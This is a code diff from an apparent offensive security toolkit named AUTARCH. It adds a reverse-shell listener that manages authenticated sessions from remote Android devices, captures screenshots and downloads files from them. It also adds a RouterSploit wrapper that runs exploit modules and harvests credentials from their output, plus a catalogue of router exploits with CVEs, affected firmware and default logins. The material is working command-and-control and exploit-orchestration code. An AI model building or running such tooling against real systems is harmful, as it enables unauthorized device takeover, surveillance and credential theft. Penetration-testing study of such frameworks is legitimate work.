session_id: str) -> Optional[RevShellSession]: + """Get session by ID.""" + return self.sessions.get(session_id) + + def list_sessions(self) -> List[dict]: + """List all sessions with their info.""" + return [s.to_dict() for s in self.sessions.values()] + + def remove_session(self, session_id: str): + """Disconnect and remove a session.""" + session = self.sessions.pop(session_id, None) + if session: + session.disconnect() + + def save_screenshot(self, session_id: str) -> Optional[str]: + """Capture and save screenshot. Returns file path or None.""" + session = self.get_session(session_id) + if not session or not session.alive: + return None + + png_data = session.screenshot() + if not png_data: + return None + + timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') + filename = f'screenshot_{session.device_name}_{timestamp}.png' + filepath = self._data_dir / filename + filepath.write_bytes(png_data) + return str(filepath) + + def save_download(self, session_id: str, remote_path: str) -> Optional[str]: + """Download file from device and save locally. Returns local path or None.""" + session = self.get_session(session_id) + if not session or not session.alive: + return None + + result = session.download(remote_path) + if not result: + return None + + data, filename = result + filepath = self._data_dir / filename + filepath.write_bytes(data) + return str(filepath) + + # ── Internal ──────────────────────────────────────────────────── + + def _accept_loop(self): + """Accept incoming connections in background thread.""" + while self._running: + try: + client_sock, addr = self._server_socket.accept() + client_sock.settimeout(30) + logger.info(f"Connection from {addr[0]}:{addr[1]}") + + # Handle auth in a separate thread to not block accept + threading.Thread( + target=self._handle_new_connection, + args=(client_sock, addr), + daemon=True + ).start() + + except socket.timeout: + continue + except OSError: + if self._running: + logger.error("Accept error") + break + + def _handle_new_connection(self, sock: socket.socket, addr: tuple): + """Authenticate a new connection.""" + try: + reader = sock.makefile('r', encoding='utf-8', errors='replace') + writer = sock.makefile('w', encoding='utf-8', errors='replace') + + # Read auth message + auth_line = reader.readline() + if not auth_line: + sock.close() + return + + auth_msg = json.loads(auth_line) + + if auth_msg.get('type') != 'auth': + writer.write('{"type":"auth_fail","reason":"Expected auth message"}\n') + writer.flush() + sock.close() + return + + # Verify token + if auth_msg.get('token') != self.auth_token: + logger.warning(f"Auth failed from {addr[0]}:{addr[1]}") + writer.write('{"type":"auth_fail","reason":"Invalid token"}\n') + writer.flush() + sock.close() + return + + # Auth OK — create session + writer.write('{"type":"auth_ok"}\n') + writer.flush() + + session_id = uuid.uuid4().hex[:12] + device_info = { + 'device': auth_msg.get('device', 'unknown'), + 'android': auth_msg.get('android', '?'), + 'uid': auth_msg.get('uid', -1), + 'remote_addr': f"{addr[0]}:{addr[1]}" + } + + session = RevShellSession(sock, device_info, session_id) + with self._lock: + self.sessions[session_id] = session + + logger.info(f"Session {session_id}: {device_info['device']} " + f"(Android {device_info['android']}, UID {device_info['uid']})") + + except (json.JSONDecodeError, OSError) as e: + logger.error(f"Auth error from {addr[0]}:{addr[1]}: {e}") + try: + sock.close() + except Exception: + pass + + def _keepalive_loop(self): + """Periodically ping sessions and remove dead ones.""" + while self._running: + time.sleep(30) + dead = [] + for sid, session in list(self.sessions.items()): + if not session.alive: + dead.append(sid) + continue + # Ping to check liveness + if not session.ping(): + dead.append(sid) + logger.info(f"Session {sid} lost (keepalive failed)") + + for sid in dead: + self.sessions.pop(sid, None) + + +# ── Singleton ─────────────────────────────────────────────────────── + +_listener: Optional[RevShellListener] = None + + +def get_listener() -> RevShellListener: + """Get or create the global RevShellListener singleton.""" + global _listener + if _listener is None: + _listener = RevShellListener() + return _listener + + +def start_listener(host: str = '0.0.0.0', port: int = 17322, + token: str = None) -> Tuple[bool, str]: + """Start the global listener.""" + global _listener + _listener = RevShellListener(host=host, port=port, auth_token=token) + return _listener.start() + + +def stop_listener(): + """Stop the global listener.""" + global _listener + if _listener: + _listener.stop() + _listener = None diff --git a/core/rsf.py b/core/rsf.py new file mode 100644 index 0000000..e711123 --- /dev/null +++ b/core/rsf.py @@ -0,0 +1,450 @@ +""" +AUTARCH RouterSploit Framework Wrapper +Low-level interface for RouterSploit module discovery, import, and execution. +Direct Python import -- no RPC layer needed since RSF is pure Python. +""" + +import sys +import os +import re +import threading +import importlib +from io import StringIO +from dataclasses import dataclass, field +from typing import Optional, List, Dict, Tuple, Any +from contextlib import contextmanager + +from .config import get_config + + +class RSFError(Exception): + """Custom exception for RouterSploit operations.""" + pass + + +@dataclass +class RSFModuleInfo: + """Metadata for a RouterSploit module.""" + name: str = "" + path: str = "" + description: str = "" + authors: Tuple[str, ...] = () + devices: Tuple[str, ...] = () + references: Tuple[str, ...] = () + options: List[Dict[str, Any]] = field(default_factory=list) + module_type: str = "" # exploits, creds, scanners, payloads, encoders, generic + + +class RSFManager: + """Manager for RouterSploit framework operations. + + Handles sys.path setup, module discovery, dynamic import, + option introspection, stdout capture, and execution. + """ + + def __init__(self): + self._available = None + self._module_index = None + self._path_added = False + + def _ensure_path(self): + """Add RSF install path to sys.path if not already present.""" + if self._path_added: + return + + config = get_config() + install_path = config.get('rsf', 'install_path', '') + + if install_path and install_path not in sys.path: + sys.path.insert(0, install_path) + self._path_added = True + + @property + def is_available(self) -> bool: + """Check if RouterSploit is importable. Caches result.""" + if self._available is not None: + return self._available + + try: + self._ensure_path() + import routersploit + self._available = True + except ImportError: + self._available = False + + return self._available + + def reset_cache(self): + """Reset cached state (availability, module index).""" + self._available = None + self._module_index = None + self._path_added = False + + def index_all_modules(self) -> List[str]: + """Discover all RSF modules. Returns list of dotted module paths. + + Uses routersploit.core.exploit.utils.index_modules() internally. + Results are cached after first call. + + Returns: + List of module paths like 'exploits/routers/dlink/some_module' + """ + if self._module_index is not None: + return self._module_index + + if not self.is_available: + raise RSFError("RouterSploit is not available") + + try: + self._ensure_path() + from routersploit.core.exploit import utils + + modules_dir = os.path.join( + os.path.dirname(utils.__file__), + '..', '..', 'modules' + ) + modules_dir = os.path.normpath(modules_dir) + + if not os.path.isdir(modules_dir): + # Try from config path + config = get_config() + install_path = config.get('rsf', 'install_path', '') + modules_dir = os.path.join(install_path, 'routersploit', 'modules') + + raw_index = utils.index_modules(modules_dir) + + # Convert dotted paths to slash paths for display + self._module_index = [] + for mod_path in raw_index: + # Remove 'routersploit.modules.' prefix if present + clean = mod_path + for prefix in ('routersploit.modules.', 'modules.'): + if clean.startswith(prefix): + clean = clean[len(prefix):] + # Convert dots to slashes + clean = clean.replace('.', '/') + self._module_index.append(clean) + + return self._module_index + + except Exception as e: + raise RSFError(f"Failed to index modules: {e}") + + def get_module_count(self) -> int: + """Get total number of indexed modules.""" + try: + return len(self.index_all_modules()) + except RSFError: + return 0 + + def get_modules_by_type(self, module_type: str) -> List[str]: + """Filter modules by type (exploits, creds, scanners, payloads, encoders, generic). + + Args: + module_type: One of 'exploits', 'creds', 'scanners', 'payloads', 'encoders', 'generic' + + Returns: + List of matching module paths + """ + all_modules = self.index_all_modules() + return [m for m in all_modules if m.startswith(module_type + '/')] + + def search_modules(self, query: str) -> List[str]: + """Search modules by substring match on path. + + Args: + query: Search string (case-insensitive) + + Returns: + List of matching module paths + """ + all_modules = self.index_all_modules() + query_lower = query.lower() + return [m for m in all_modules if query_lower in m.lower()] + + def _dotted_path(self, slash_path: str) -> str: + """Convert slash path to dotted import path. + + Args: + slash_path: e.g. 'exploits/routers/dlink/some_module' + + Returns: + Dotted path like 'routersploit.modules.exploits.routers.dlink.some_module' + """ + clean = slash_path.strip('/') + dotted = clean.replace('/', '.') + return f"routersploit.modules.{dotted}" + + def load_module(self, path: str) -> Tuple[Any, RSFModuleInfo]: + """Load a RouterSploit module by path. + + Converts slash path to dotted import path, imports using + import_exploit(), instantiates, and extracts metadata. + + Args: + path: Module path like 'exploits/routers/dlink/some_module' + + Returns: + Tuple of (module_instance, RSFModuleInfo) + + Raises: + RSFError: If module cannot be loaded + """ + if not self.is_available: + raise RSFError("RouterSploit is not available") + + try: + self._ensure_path() + from routersploit.core.exploit.utils import import_exploit + + dotted = self._dotted_path(path) + module_class = import_exploit(dotted) + instance = module_class() + + # Extract __info__ dict + info_dict = {} + # RSF metaclass renames __info__ to _ClassName__info__ + for attr in dir(instance): + if attr.endswith('__info__') or attr == '__info__': + try: + info_dict = getattr(instance, attr) + if isinstance(info_dict, dict): + break + except AttributeError: + continue + + # If not found via mangled name, try class hierarchy + if not info_dict: + for klass in type(instance).__mro__: + mangled = f"_{klass.__name__}__info__" + if hasattr(klass, mangled): + info_dict = getattr(klass, mangled) + if isinstance(info_dict, dict): + break + + # Extract options + options = self.get_module_options(instance) + + # Determine module type from path + parts = path.split('/') + module_type = parts[0] if parts else "" + + module_info = RSFModuleInfo( + name=info_dict.get('name', path.split('/')[-1]), + path=path, + description=info_dict.get('description', ''), + authors=info_dict.get('authors', ()), + devices=info_dict.get('devices', ()), + references=info_dict.get('references', ()), + options=options, + module_type=module_type, + ) + + return instance, module_info + + except Exception as e: + raise RSFError(f"Failed to load module '{path}': {e}") + + def get_module_options(self, instance) -> List[Dict[str, Any]]: + """Introspect Option descriptors on a module instance. + + Uses RSF's exploit_attributes metaclass aggregator to get + option names, then reads descriptor properties for details. + + Args: + instance: Instantiated RSF module + + Returns: + List of dicts with keys: name, type, default, description, current, advanced + """ + options = [] + + # Try exploit_attributes first (set by metaclass) + exploit_attrs = getattr(type(instance), 'exploit_attributes', {}) + + if exploit_attrs: + for name, attr_info in exploit_attrs.items(): + # attr_info is [display_value, description, advanced] + display_value = attr_info[0] if len(attr_info) > 0 else "" + description = attr_info[1] if len(attr_info) > 1 else "" + advanced = attr_info[2] if len(attr_info) > 2 else False + + # Get current value from instance + try: + current = getattr(instance, name, display_value) + except Exception: + current = display_value + + # Determine option type from the descriptor class + opt_type = "string" + for klass in type(instance).__mro__: + if name in klass.__dict__: + descriptor = klass.__dict__[name] + opt_type = type(descriptor).__name__.lower() + # Clean up: optip -> ip, optport -> port, etc. + opt_type = opt_type.replace('opt', '') + break + + options.append({ + 'name': name, + 'type': opt_type, + 'default': display_value, + 'description': description, + 'current': str(current) if current is not None else "", + 'advanced': advanced, + }) + else: + # Fallback: inspect instance options property + opt_names = getattr(instance, 'options', []) + for name in opt_names: + try: + current = getattr(instance, name, "") + options.append({ + 'name': name, + 'type': 'string', + 'default': str(current), + 'description': '', + 'current': str(current) if current is not None else "", + 'advanced': False, + }) + except Exception: + continue + + return options + + def set_module_option(self, instance, name: str, value: str) -> bool: + """Set an option on a module instance. + + Args: + instance: RSF module instance + name: Option name + value: Value to set (string, will be validated by descriptor) + + Returns: + True if set successfully + + Raises: + RSFError: If option cannot be set + """ + try: + setattr(instance, name, value) + return True + except Exception as e: + raise RSFError(f"Failed to set option '{name}': {e}") + + @contextmanager + def capture_output(self): + """Context manager to capture stdout/stderr from RSF modules. + + RSF modules print directly via their printer system. This + redirects stdout/stderr to StringIO for capturing output. + + Yields: + StringIO object containing captured output + """ + captured = StringIO() + old_stdout = sys.stdout + old_stderr = sys.stderr + + try: + sys.stdout = captured + sys.stderr = captured + yield captured + finally: + sys.stdout = old_stdout + sys.stderr = old_stderr + + def execute_check(self, instance, timeout: int = 60) -> Tuple[Optional[bool], str]: + """Run check() on a module with stdout capture and timeout. + + check() is the safe vulnerability verification method. + + Args: + instance: RSF module instance (already configured) + timeout: Timeout in seconds + + Returns: + Tuple of (result, output) where result is True/False/None + """ + result = [None] + output = [""] + error = [None] + + def _run(): + try: + with self.capture_output() as captured: + check_result = instance.check() + result[0] = check_result + output[0] = captured.getvalue() + except Exception as e: + error[0] = e + try: + output[0] = captured.getvalue() + except Exception: + pass + + thread = threading.Thread(target=_run, daemon=True) + thread.start() + thread.join(timeout=timeout) + + if thread.is_alive(): + return None, output[0] + "\n[!] Module execution timed out" + + if error[0]: + return None, output[0] + f"\n[-] Error: {error[0]}" + + return result[0], output[0] + + def execute_run(self, instance, timeout: int = 120) -> Tuple[bool, str]: + """Run run() on a module with stdout capture and timeout. + + run() is the full exploit execution method. + + Args: + instance: RSF module instance (already configured) + timeout: Timeout in seconds + + Returns: + Tuple of (completed, output) where completed indicates + whether execution finished within timeout + """ + completed = [False] + output = [""] + error = [None] + + def _run(): + try: + with self.capture_output() as captured: + instance.run() + completed[0] = True + output[0] = captured.getvalue() + except Exception as e: + error[0] = e + try: + output[0] = captured.getvalue() + except Exception: + pass + + thread = threading.Thread(target=_run, daemon=True) + thread.start() + thread.join(timeout=timeout) + + if thread.is_alive(): + return False, output[0] + "\n[!] Module execution timed out" + + if error[0]: + return False, output[0] + f"\n[-] Error: {error[0]}" + + return completed[0], output[0] + + +# Singleton instance +_rsf_manager = None + + +def get_rsf_manager() -> RSFManager: + """Get the global RSFManager singleton instance.""" + global _rsf_manager + if _rsf_manager is None: + _rsf_manager = RSFManager() + return _rsf_manager diff --git a/core/rsf_interface.py b/core/rsf_interface.py new file mode 100644 index 0000000..b9fa11b --- /dev/null +++ b/core/rsf_interface.py @@ -0,0 +1,480 @@ +""" +AUTARCH RouterSploit High-Level Interface +Clean API for RSF operations, mirroring core/msf_interface.py patterns. +Wraps RSFManager with result parsing and formatted output. +""" + +import re +import time +from enum import Enum +from dataclasses import dataclass, field +from typing import Optional, List, Dict, Any + +from .rsf import get_rsf_manager, RSFError, RSFModuleInfo +from .banner import Colors + + +class RSFStatus(Enum): + """Status codes for RSF operations.""" + SUCCESS = "success" + VULNERABLE = "vulnerable" + NOT_VULNERABLE = "not_vulnerable" + FAILED = "failed" + TIMEOUT = "timeout" + NOT_AVAILABLE = "not_available" + + +@dataclass +class RSFResult: + """Result of an RSF module execution.""" + status: RSFStatus + module_path: str + target: str = "" + + # Raw and cleaned output + raw_output: str = "" + cleaned_output: str = "" + + # Parsed results + successes: List[str] = field(default_factory=list) # [+] lines + info: List[str] = field(default_factory=list) # [*] lines + errors: List[str] = field(default_factory=list) # [-] lines + + # Credential results + credentials: List[Dict[str, str]] = field(default_factory=list) + + # Check result (True/False/None) + check_result: Optional[bool] = None + + # Execution metadata + execution_time: float = 0.0 + + +# ANSI escape code pattern +_ANSI_RE = re.compile(r'\x1b\[[0-9;]*[a-zA-Z]|\x1b\([a-zA-Z]') + + +class RSFInterface: + """High-level interface for RouterSploit operations. + + Provides a clean API mirroring MSFInterface patterns: + - Module listing and search + - Module info and options + - Check (safe vulnerability verification) + - Run (full module execution) + - Output parsing and result formatting + """ + + def __init__(self): + self._manager = get_rsf_manager() + + def ensure_available(self) -> bool: + """Check that RSF is importable and available. + + Returns: + True if RSF is available + + Raises: + RSFError: If RSF is not available + """ + if not self._manager.is_available: + raise RSFError( + "RouterSploit is not available. " + "Check install path in Settings > RouterSploit Settings." + ) + return True + + @property + def is_available(self) -> bool: + """Check if RSF is available without raising.""" + return self._manager.is_available + + @property + def module_count(self) -> int: + """Get total number of available modules.""" + return self._manager.get_module_count() + + def list_modules(self, module_type: str = None) -> List[str]: + """List available modules, optionally filtered by type. + + Combines live RSF index with curated library data. + + Args: + module_type: Filter by type (exploits, creds, scanners, etc.) + + Returns: + List of module paths + """ + self.ensure_available() + + if module_type: + return self._manager.get_modules_by_type(module_type) + return self._manager.index_all_modules() + + def search_modules(self, query: str) -> List[str]: + """Search modules by keyword. + + Searches both live RSF index and curated library. + + Args: + query: Search string + + Returns: + List of matching module paths + """ + self.ensure_available() + + results = self._manager.search_modules(query) + + # Also search curated library for richer matches + try: + from .rsf_modules import search_modules as search_curated + curated = search_curated(query) + curated_paths = [m['path'] for m in curated if 'path' in m] + # Merge without duplicates, curated first + seen = set(results) + for path in curated_paths: + if path not in seen: + results.append(path) + seen.add(path) + except ImportError: + pass + + return results + + def get_module_info(self, path: str) -> RSFModuleInfo: + """Get metadata for a module. + + Tries curated library first, falls back to live introspection. + + Args: + path: Module path + + Returns: + RSFModuleInfo with module metadata + """ + # Try curated library first + try: + from .rsf_modules import get_module_info as get_curated_info + curated = get_curated_info(path) + if curated: + parts = path.split('/') + return RSFModuleInfo( + name=curated.get('name', path.split('/')[-1]), + path=path, + description=curated.get('description', ''), + authors=tuple(curated.get('authors', ())), + devices=tuple(curated.get('devices', ())), + references=tuple(curated.get('references', ())), + module_type=parts[0] if parts else "", + ) + except ImportError: + pass + + # Fall back to live introspection + self.ensure_available() + _, info = self._manager.load_module(path) + return info + + def get_module_options(self, path: str) -> List[Dict[str, Any]]: + """Get configurable options for a module. + + Args: + path: Module path + + Returns: + List of option dicts with name, type, default, description, current + """ + self.ensure_available() + instance, _ = self._manager.load_module(path) + return self._manager.get_module_options(instance) + + def check_module(self, path: str, options: Dict[str, str] = None, + timeout: int = None) -> RSFResult: + """Run check() on a module -- safe vulnerability verification. + + Args: + path: Module path + options: Dict of option_name -> value to set before running + timeout: Execution timeout in seconds (default from config) + + Returns: + RSFResult with check results + """ + return self._execute_module(path, options, timeout, check_only=True) + + def run_module(self, path: str, options: Dict[str, str] = None, + timeout: int = None) -> RSFResult: + """Run run() on a module -- full exploit execution. + + Args: + path: Module path + options: Dict of option_name -> value to set before running + timeout: Execution timeout in seconds (default from config) + + Returns: + RSFResult with execution results + """ + return self._execute_module(path, options, timeout, check_only=False) + + def _execute_module(self, path: str, options: Dict[str, str] = None, + timeout: int = None, check_only: bool = False) -> RSFResult: + """Internal method to execute a module (check or run). + + Args: + path: Module path + options: Option overrides + timeout: Timeout in seconds + check_only: If True, run check() instead of run() + + Returns: + RSFResult + """ + if not self._manager.is_available: + return RSFResult( + status=RSFStatus.NOT_AVAILABLE, + module_path=path, + ) + + if timeout is None: + from .config import get_config + timeout = get_config().get_int('rsf', 'execution_timeout', 120) + + start_time = time.time() + + try: + # Load and configure module + instance, info = self._manager.load_module(path) + + target = "" + if options: + for name, value in options.items(): + self._manager.set_module_option(instance, name, value) + if name == 'target': + target = value + + # Get target from instance if not in options + if not target: + target = str(getattr(instance, 'target', '')) + + # Execute + if check_only: + check_result, raw_output = self._manager.execute_check(instance, timeout) + else: + completed, raw_output = self._manager.execute_run(instance, timeout) + check_result = None + + execution_time = time.time() - start_time + cleaned = self._clean_output(raw_output) + successes, info_lines, errors, credentials = self._parse_output(cleaned) + + # Determine status + if check_only: + if check_result is True: + status = RSFStatus.VULNERABLE + elif check_result is False: + status = RSFStatus.NOT_VULNERABLE + elif "[!]" in raw_output and "timed out" in raw_output.lower(): + status = RSFStatus.TIMEOUT + else: + status = RSFStatus.FAILED + else: + if "[!]" in raw_output and "timed out" in raw_output.lower(): + status = RSFStatus.TIMEOUT + elif errors and not successes: + status = RSFStatus.FAILED + elif successes or credentials: + status = RSFStatus.SUCCESS + elif completed: + status = RSFStatus.SUCCESS + else: + status = RSFStatus.FAILED + + return RSFResult( + status=status, + module_path=path, + target=target, + raw_output=raw_output, + cleaned_output=cleaned, + successes=successes, + info=info_lines, + errors=errors, + credentials=credentials, + check_result=check_result, + execution_time=execution_time, + ) + + except RSFError as e: + return RSFResult( + status=RSFStatus.FAILED, + module_path=path, + target=options.get('target', '') if options else '', + raw_output=str(e), + cleaned_output=str(e), + errors=[str(e)], + execution_time=time.time() - start_time, + ) + + def _clean_output(self, raw: str) -> str: + """Strip ANSI escape codes from output. + + Args: + raw: Raw output potentially containing ANSI codes + + Returns: + Cleaned text + """ + if not raw: + return "" + return _ANSI_RE.sub('', raw) + + def _parse_output(self, cleaned: str): + """Parse cleaned output into categorized lines. + + Categorizes lines by RSF prefix: + - [+] = success/finding + - [*] = informational + - [-] = error/failure + + Also extracts credentials from common patterns. + + Args: + cleaned: ANSI-stripped output + + Returns: + Tuple of (successes, info, errors, credentials) + """ + successes = [] + info_lines = [] + errors = [] + credentials = [] + + for line in cleaned.splitlines(): + stripped = line.strip() + if not stripped: + continue + + if stripped.startswith('[+]'): + successes.append(stripped[3:].strip()) + # Check for credential patterns + creds = self._extract_credentials(stripped) + if creds: + credentials.append(creds) + elif stripped.startswith('[*]'): + info_lines.append(stripped[3:].strip()) + elif stripped.startswith('[-]'): + errors.append(stripped[3:].strip()) + elif stripped.startswith('[!]'): + errors.append(stripped[3:].strip()) + + return successes, info_lines, errors, credentials + + def _extract_credentials(self, line: str) -> Optional[Dict[str, str]]: + """Extract credentials from a success line. + + Common RSF credential output patterns: + - [+] admin:password + - [+] Found valid credentials: admin / password + - [+] username:password on target:port + + Args: + line: A [+] success line + + Returns: + Dict with username/password keys, or None + """ + # Pattern: username:password + cred_match = re.search( + r'(?:credentials?|found|valid).*?(\S+)\s*[:/]\s*(\S+)', + line, re.IGNORECASE + ) + if cred_match: + return { + 'username': cred_match.group(1), + 'password': cred_match.group(2), + } + + # Simple colon-separated on [+] lines + content = line.replace('[+]', '').strip() + if ':' in content and len(content.split(':')) == 2: + parts = content.split(':') + # Only if parts look like creds (not URLs or paths) + if not any(x in parts[0].lower() for x in ['http', '/', '\\']): + return { + 'username': parts[0].strip(), + 'password': parts[1].strip(), + } + + return None + + def print_result(self, result: RSFResult, verbose: bool = False): + """Print formatted execution result. + + Args: + result: RSFResult to display + verbose: Show raw output if True + """ + print() + print(f" {Colors.BOLD}{Colors.WHITE}Execution Result{Colors.RESET}") + print(f" {Colors.DIM}{'─' * 50}{Colors.RESET}") + + # Status with color + status_colors = { + RSFStatus.SUCCESS: Colors.GREEN, + RSFStatus.VULNERABLE: Colors.RED, + RSFStatus.NOT_VULNERABLE: Colors.GREEN, + RSFStatus.FAILED: Colors.RED, + RSFStatus.TIMEOUT: Colors.YELLOW, + RSFStatus.NOT_AVAILABLE: Colors.YELLOW, + } + color = status_colors.get(result.status, Colors.WHITE) + print(f" {Colors.CYAN}Status:{Colors.RESET} {color}{result.status.value}{Colors.RESET}") + print(f" {Colors.CYAN}Module:{Colors.RESET} {result.module_path}") + if result.target: + print(f" {Colors.CYAN}Target:{Colors.RESET} {result.target}") + print(f" {Colors.CYAN}Time:{Colors.RESET} {result.execution_time:.1f}s") + print() + + # Successes + if result.successes: + for line in result.successes: + print(f" {Colors.GREEN}[+]{Colors.RESET} {line}") + + # Info + if result.info: + for line in result.info: + print(f" {Colors.CYAN}[*]{Colors.RESET} {line}") + + # Errors + if result.errors: + for line in result.errors: + print(f" {Colors.RED}[-]{Colors.RESET} {line}") + + # Credentials + if result.credentials: + print() + print(f" {Colors.GREEN}{Colors.BOLD}Credentials Found:{Colors.RESET}") + for cred in result.credentials: + print(f" {Colors.GREEN}{cred.get('username', '?')}{Colors.RESET}:" + f"{Colors.YELLOW}{cred.get('password', '?')}{Colors.RESET}") + + # Verbose: raw output + if verbose and result.cleaned_output: + print() + print(f" {Colors.DIM}Raw Output:{Colors.RESET}") + for line in result.cleaned_output.splitlines(): + print(f" {Colors.DIM}{line}{Colors.RESET}") + + print() + + +# Singleton instance +_rsf_interface = None + + +def get_rsf_interface() -> RSFInterface: + """Get the global RSFInterface singleton instance.""" + global _rsf_interface + if _rsf_interface is None: + _rsf_interface = RSFInterface() + return _rsf_interface diff --git a/core/rsf_modules.py b/core/rsf_modules.py new file mode 100644 index 0000000..45a9e7d --- /dev/null +++ b/core/rsf_modules.py @@ -0,0 +1,542 @@ +""" +AUTARCH RouterSploit Curated Module Library +Offline-browsable metadata for key RSF modules. +Mirrors core/msf_modules.py patterns for RSF-specific modules. +""" + +from .banner import Colors + + +# ─── Module Library ───────────────────────────────────────────────────────── + +RSF_MODULES = { + # ════════════════════════════════════════════════════════════════════════ + # EXPLOITS - ROUTERS + # ════════════════════════════════════════════════════════════════════════ + + # ── D-Link Routers ────────────────────────────────────────────────────── + 'exploits/routers/dlink/dir_300_600_rce': { + 'name': 'D-Link DIR-300 & DIR-600 RCE', + 'description': 'Exploits D-Link DIR-300, DIR-600 Remote Code Execution ' + 'vulnerability allowing command execution with root privileges.', + 'authors': ('Michael Messner', 'Marcin Bury'), + 'devices': ('D-Link DIR 300', 'D-Link DIR 600'), + 'references': ('http://www.s3cur1ty.de/m1adv2013-003',), + 'tags': ('dlink', 'rce', 'router', 'http'), + 'notes': 'Targets the web interface. Requires HTTP access to the router.', + }, + 'exploits/routers/dlink/dir_645_815_rce': { + 'name': 'D-Link DIR-645 & DIR-815 RCE', + 'description': 'Exploits D-Link DIR-645 and DIR-815 Remote Code Execution ' + 'vulnerability via the web interface.', + 'authors': ('Michael Messner', 'Marcin Bury'), + 'devices': ('DIR-815 v1.03b02', 'DIR-645 v1.02', 'DIR-645 v1.03', + 'DIR-600 below v2.16b01', 'DIR-300 revB v2.13b01', + 'DIR-412 Ver 1.14WWB02', 'DIR-110 Ver 1.01'), + 'references': ('http://www.s3cur1ty.de/m1adv2013-017',), + 'tags': ('dlink', 'rce', 'router', 'http'), + 'notes': 'Affects multiple DIR-series firmware versions.', + }, + 'exploits/routers/dlink/multi_hnap_rce': { + 'name': 'D-Link Multi HNAP RCE', + 'description': 'Exploits HNAP remote code execution in multiple D-Link devices ' + 'allowing command execution on the device.', + 'authors': ('Samuel Huntley', 'Craig Heffner', 'Marcin Bury'), + 'devices': ('D-Link DIR-645', 'D-Link DIR-880L', 'D-Link DIR-865L', + 'D-Link DIR-860L revA/B', 'D-Link DIR-815 revB', + 'D-Link DIR-300 revB', 'D-Link DIR-600 revB', + 'D-Link DAP-1650 revB'), + 'references': ('https://www.exploit-db.com/exploits/37171/', + 'http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/'), + 'tags': ('dlink', 'rce', 'hnap', 'router', 'http'), + 'notes': 'HNAP (Home Network Administration Protocol) vulnerability ' + 'affecting a wide range of D-Link devices.', + }, + + # ── Cisco Routers ─────────────────────────────────────────────────────── + 'exploits/routers/cisco/rv320_command_injection': { + 'name': 'Cisco RV320 Command Injection', + 'description': 'Exploits Cisco RV320 Remote Command Injection in the ' + 'web-based certificate generator feature (CVE-2019-1652).', + 'authors': ('RedTeam Pentesting GmbH', 'GH0st3rs'), + 'devices': ('Cisco RV320 1.4.2.15 to 1.4.2.22', 'Cisco RV325'), + 'references': ('https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652',), + 'tags': ('cisco', 'rce', 'command_injection', 'router', 'cve-2019-1652'), + 'notes': 'Requires HTTPS access (port 443). Targets certificate generator.', + }, + 'exploits/routers/cisco/ios_http_authorization_bypass': { + 'name': 'Cisco IOS HTTP Authorization Bypass', + 'description': 'HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to ' + 'bypass authentication and execute commands by specifying a ' + 'high access level in the URL (CVE-2001-0537).', + 'authors': ('renos stoikos',), + 'devices': ('Cisco IOS 11.3 to 12.2',), + 'references': ('http://www.cvedetails.com/cve/cve-2001-0537',), + 'tags': ('cisco', 'auth_bypass', 'ios', 'router', 'http', 'cve-2001-0537'), + 'notes': 'Classic IOS vulnerability. Only affects very old IOS versions.', + }, + + # ── Netgear Routers ───────────────────────────────────────────────────── + 'exploits/routers/netgear/dgn2200_ping_cgi_rce': { + 'name': 'Netgear DGN2200 RCE', + 'description': 'Exploits Netgear DGN2200 RCE via ping.cgi script ' + '(CVE-2017-6077).', + 'authors': ('SivertPL', 'Josh Abraham'), + 'devices': ('Netgear DGN2200v1-v4',), + 'references': ('https://www.exploit-db.com/exploits/41394/', + 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-6077'), + 'tags': ('netgear', 'rce', 'router', 'http', 'cve-2017-6077'), + 'notes': 'Requires valid credentials (default: admin/password).', + }, + 'exploits/routers/netgear/multi_rce': { + 'name': 'Netgear Multi RCE', + 'description': 'Exploits remote command execution in multiple Netgear devices. ' + 'If vulnerable, opens a command loop with OS-level access.', + 'authors': ('Andrei Costin', 'Marcin Bury'), + 'devices': ('Netgear WG102', 'Netgear WG103', 'Netgear WN604', + 'Netgear WNDAP350', 'Netgear WNDAP360', 'Netgear WNAP320', + 'Netgear WNDAP660', 'Netgear WNDAP620'), + 'references': ('http://firmware.re/vulns/acsa-2015-001.php',), + 'tags': ('netgear', 'rce', 'router', 'http', 'multi'), + 'notes': 'Targets multiple Netgear enterprise wireless APs.', + }, + + # ── Mikrotik Routers ──────────────────────────────────────────────────── + 'exploits/routers/mikrotik/winbox_auth_bypass_creds_disclosure': { + 'name': 'Mikrotik WinBox Auth Bypass - Credentials Disclosure', + 'description': 'Bypasses authentication through WinBox service in Mikrotik ' + 'devices v6.29 to v6.42 and retrieves admin credentials.', + 'authors': ('Alireza Mosajjal', 'Mostafa Yalpaniyan', 'Marcin Bury'), + 'devices': ('Mikrotik RouterOS 6.29 to 6.42',), + 'references': ('https://n0p.me/winbox-bug-dissection/', + 'https://github.com/BasuCert/WinboxPoC'), + 'tags': ('mikrotik', 'auth_bypass', 'creds', 'winbox', 'router', 'tcp'), + 'notes': 'Targets WinBox service (port 8291). Very high impact.', + }, + + # ── TP-Link Routers ───────────────────────────────────────────────────── + 'exploits/routers/tplink/archer_c2_c20i_rce': { + 'name': 'TP-Link Archer C2 & C20i RCE', + 'description': 'Exploits TP-Link Archer C2 and C20i RCE allowing root-level ' + 'command execution.', + 'authors': ('Michal Sajdak', 'Marcin Bury'), + 'devices': ('TP-Link Archer C2', 'TP-Link Archer C20i'), + 'references': (), + 'tags': ('tplink', 'rce', 'router', 'http'), + 'notes': 'Targets the Archer web interface.', + }, + + # ── Asus Routers ──────────────────────────────────────────────────────── + 'exploits/routers/asus/asuswrt_lan_rce': { + 'name': 'AsusWRT LAN RCE', + 'description': 'Exploits multiple vulnerabilities in AsusWRT firmware to achieve ' + 'RCE: HTTP auth bypass + VPN config upload + infosvr command ' + 'execution (CVE-2018-5999, CVE-2018-6000).', + 'authors': ('Pedro Ribeiro', 'Marcin Bury'), + 'devices': ('AsusWRT < v3.0.0.4.384.10007',), + 'references': ('https://nvd.nist.gov/vuln/detail/CVE-2018-5999', + 'https://nvd.nist.gov/vuln/detail/CVE-2018-6000'), + 'tags': ('asus', 'rce', 'auth_bypass', 'router', 'http', 'udp', + 'cve-2018-5999', 'cve-2018-6000'), + 'notes': 'Chains HTTP auth bypass with UDP infosvr for full RCE.', + }, + + # ════════════════════════════════════════════════════════════════════════ + # EXPLOITS - CAMERAS + # ════════════════════════════════════════════════════════════════════════ + + 